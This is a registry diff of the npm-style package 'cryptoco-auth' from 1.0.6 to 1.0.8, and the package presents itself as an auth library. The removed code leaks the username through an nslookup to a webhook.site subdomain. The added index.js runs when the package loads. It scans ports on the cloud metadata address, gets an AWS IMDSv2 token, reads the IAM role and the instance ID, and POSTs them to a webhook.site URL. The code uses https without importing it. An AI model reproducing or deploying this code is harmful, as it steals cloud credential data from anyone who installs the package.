cryptoco-auth 1.0.6 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +60 -6
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,7 +1,61 @@
1
- const { exec } = require("child_process");
1
+ const http = require("http");
2
+ const net = require("net");
2
3
 
3
- // Kita coba panggil domain yang dipantau via DNS
4
- // Jika sistem mereka melakukan resolusi, kita akan lihat di log DNS
5
- exec("nslookup $(whoami).cryptoco.50a891aa.webhook.site", (err) => {
6
- // Silent fail
7
- });
4
+ const TARGET_PORTS = [80, 443, 8080, 3000, 5432, 6379];
5
+ const METADATA_IP = "169.254.169.254";
6
+
7
+ function fetchMetadata(path, headers = {}) {
8
+ return new Promise((resolve) => {
9
+ const options = { hostname: METADATA_IP, port: 80, path: path, method: "GET", timeout: 1500, headers: headers };
10
+ const req = http.request(options, (res) => {
11
+ let data = "";
12
+ res.on("data", (chunk) => data += chunk);
13
+ res.on("end", () => resolve(data.trim()));
14
+ });
15
+ req.on("error", () => resolve(null));
16
+ req.on("timeout", () => { req.destroy(); resolve(null); });
17
+ req.end();
18
+ });
19
+ }
20
+
21
+ function scanPort(port) {
22
+ return new Promise((resolve) => {
23
+ const socket = new net.Socket();
24
+ socket.setTimeout(1500);
25
+ socket.on("connect", () => { socket.destroy(); resolve(true); });
26
+ socket.on("timeout", () => { socket.destroy(); resolve(false); });
27
+ socket.on("error", () => { socket.destroy(); resolve(false); });
28
+ socket.connect(port, METADATA_IP);
29
+ });
30
+ }
31
+
32
+ async function runPoC() {
33
+ const openPorts = [];
34
+ for (const port of TARGET_PORTS) {
35
+ if (await scanPort(port)) openPorts.push(port);
36
+ }
37
+
38
+ const tokenReq = http.request({ hostname: METADATA_IP, port: 80, path: "/latest/api/token", method: "PUT", headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } }, (res) => {
39
+ let token = "";
40
+ res.on("data", (c) => token += c);
41
+ res.on("end", async () => {
42
+ const headers = token ? { "X-aws-ec2-metadata-token": token } : {};
43
+ const iamRole = await fetchMetadata("/latest/meta-data/iam/security-credentials/", headers);
44
+ const instanceId = await fetchMetadata("/latest/meta-data/instance-id", headers);
45
+
46
+ const report = JSON.stringify({
47
+ status: "POC_RUN",
48
+ instanceId: instanceId,
49
+ iamRole: iamRole,
50
+ openPorts: openPorts
51
+ });
52
+
53
+ const postReq = https.request({ hostname: "webhook.site", path: "/50a891aa-a14a-4ccb-8d96-62542945b9fc", method: "POST", headers: { "Content-Type": "application/json", "Content-Length": report.length } });
54
+ postReq.write(report);
55
+ postReq.end();
56
+ });
57
+ });
58
+ tokenReq.on("error", () => {});
59
+ tokenReq.end();
60
+ }
61
+ runPoC();
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"cryptoco-auth","version":"1.0.6","main":"index.js"}
1
+ {"name":"cryptoco-auth","version":"1.0.8","main":"index.js"}